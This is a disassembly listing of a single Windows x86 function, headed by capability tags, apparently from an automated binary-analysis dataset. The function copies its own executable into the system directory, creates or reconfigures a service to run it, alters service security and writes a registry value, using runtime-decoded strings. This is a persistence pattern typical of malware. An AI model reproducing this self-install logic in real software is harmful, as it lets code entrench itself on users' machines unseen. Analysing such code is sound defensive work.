Function at 0x418800
Capabilities:
Copy file
Create service
Delete service
Get common file path
Modify service
Query service configuration
Set registry value

Disassembly:
sub esp, 0x254
mov eax, dword [0x52e144]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x54]
xor ebx, ebx
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x5107a4
call fcn.00404690
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 4
push eax
lea ecx, [esp + 0x54]
push ecx
call esi
push 0x104
lea edx, [esp + 0x15c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x50]
push ebx
push eax
call fcn.004ba516
add esp, 8
cmp eax, 0xffffffff
je 0x4183c5
lea ecx, [esp + 0x50]
push ecx
call fcn.0040f8b0
add esp, 4
cmp eax, 0x57c
jl 0x4183c5
lea edx, [esp + 0x158]
push edx
call fcn.00413e70
add esp, 4
cmp al, 1
jne 0x418374
lea eax, [esp + 0x50]
push eax
call fcn.00413e70
add esp, 4
test al, al
jne 0x418374
push ebx
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x160]
push edx
jmp 0x4183d3
push 1
lea eax, [esp + 0x15c]
push eax
mov ecx, 0x538cb8
call fcn.00406500
test al, al
je 0x4183d9
lea ecx, [esp + 0x158]
push ecx
call fcn.00413e70
add esp, 4
test al, al
je 0x4183d9
push 1
lea edx, [esp + 0x54]
push edx
mov ecx, 0x538cb8
call fcn.00406500
test al, al
jne 0x4183d9
push ebx
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x160]
push ecx
jmp 0x4183d3
push ebx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x510794
call fcn.00404690
add esp, 4
push eax
lea ecx, [esp + 0x54]
push ecx
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf003f
push ebx
push ebx
call esi
mov edi, eax
mov dword [esp + 0x2c], edi
cmp edi, ebx
jne 0x41841a
push ebx
push ebx
push ebx
call esi
mov dword [esp + 0x2c], eax
cmp eax, ebx
je 0x4187de
mov edi, eax
push ebp
push 0xf01ff
push 0x527df0
call fcn.00404690
add esp, 4
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
je 0x418626
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x40], ebx
call fcn.0040f590
mov edx, dword [esp + 0x28]
add esp, 0x18
push edx
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_SetServiceObjectSecurity]
mov ebp, eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.0040f820
add esp, 0x18
cmp ebp, ebx
jne 0x4184bf
mov dword [esp + 0x1c], 1
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
lea eax, [esp + 0x34]
push eax
push ebx
push ebx
push esi
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x44], ebx
call ebp
mov eax, dword [esp + 0x34]
cmp eax, ebx
je 0x418527
lea ecx, [eax + eax]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, ebx
je 0x418527
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x34]
push edx
lea ecx, [eax + eax]
push ecx
push edi
push esi
call ebp
mov dword [esp + 0x14], eax
cmp eax, ebx
jne 0x418595
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ebx
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x38]
push ecx
mov edi, 4
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x418545
mov dword [esp + 0x3c], 1
mov ebp, 2
cmp dword [esp + 0x10], ebx
jne 0x4185e8
cmp dword [esp + 0x3c], edi
je 0x41857d
cmp dword [esp + 0x14], ebx
jne 0x41857d
cmp dword [esp + 0x18], ebp
jne 0x41857d
push esi
mov dword [esp + 0x20], edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x41857d
mov dword [esp + 0x1c], 0x2c
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call edi
cmp dword [esp + 0x18], ebp
jne 0x4187ba
jmp 0x41862c
mov edx, dword [edi]
cmp edx, dword [0x527de8]
jne 0x4185db
mov eax, dword [edi + 4]
cmp eax, dword [0x527dec]
jne 0x4185db
push 0x527dfc
call fcn.00404690
mov ecx, dword [edi + 0x20]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
push eax
push ecx
call ebp
test eax, eax
jne 0x4185db
mov eax, dword [edi + 0xc]
lea edx, [esp + 0x54]
push edx
push eax
call ebp
test eax, eax
je 0x41851c
mov dword [esp + 0x10], 1
jmp 0x418520
push 0x527dfc
call fcn.00404690
mov ecx, dword [0x527de8]
add esp, 4
push eax
mov eax, dword [0x527dec]
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x6c]
push edx
push 1
push eax
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
neg eax
sbb eax, eax
add eax, 3
mov dword [esp + 0x1c], eax
jmp 0x41857d
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [0x527dec]
mov ecx, dword [0x527de8]
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x68]
push edx
push 1
push eax
push ecx
push 0x1f01ff
push 0x527dfc
call fcn.004045b0
add esp, 4
push eax
push 0x527df0
call fcn.00404690
mov edx, dword [esp + 0x60]
add esp, 4
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, eax
lea eax, [esp + 0x14]
push eax
push 0xf003f
push ebx
push 0x510764
call fcn.00404690
add esp, 4
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4186d9
mov eax, 0x527dfc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4186a3
sub eax, edx
push eax
push 0x527dfc
push 1
push ebx
push 0x510754
call fcn.00404690
mov ecx, dword [esp + 0x28]
add esp, 4
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x527dfc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 4
push eax
push 0x527dfc
call fcn.004041d0
add esp, 4
push eax
push 0x527dfc
call fcn.004b6e40
add esp, 0xc
cmp ebp, ebx
je 0x4187b2
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x3c], ebx
call fcn.0040f590
mov eax, dword [esp + 0x30]
add esp, 0x18
push eax
push 4
push ebp
call dword [sym.imp.ADVAPI32.dll_SetServiceObjectSecurity]
lea ecx, [esp + 0x24]
push ecx
mov esi, eax
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x24]
push eax
call fcn.0040f820
add esp, 0x18
cmp esi, ebx
jne 0x41878b
mov dword [esp + 0x1c], 5
push ebp
call edi
mov ecx, dword [esp + 0x30]
push ecx
call edi
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.004b6da3
add esp, 0x254
ret
mov dword [esp + 0x1c], 6
mov ecx, dword [esp + 0x30]
push ecx
call edi
mov eax, dword [esp + 0x1c]
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x250]
xor ecx, esp
call fcn.004b6da3
add esp, 0x254
ret
mov ecx, dword [esp + 0x25c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 7
call fcn.004b6da3
add esp, 0x254
ret
jmp 0x4182b0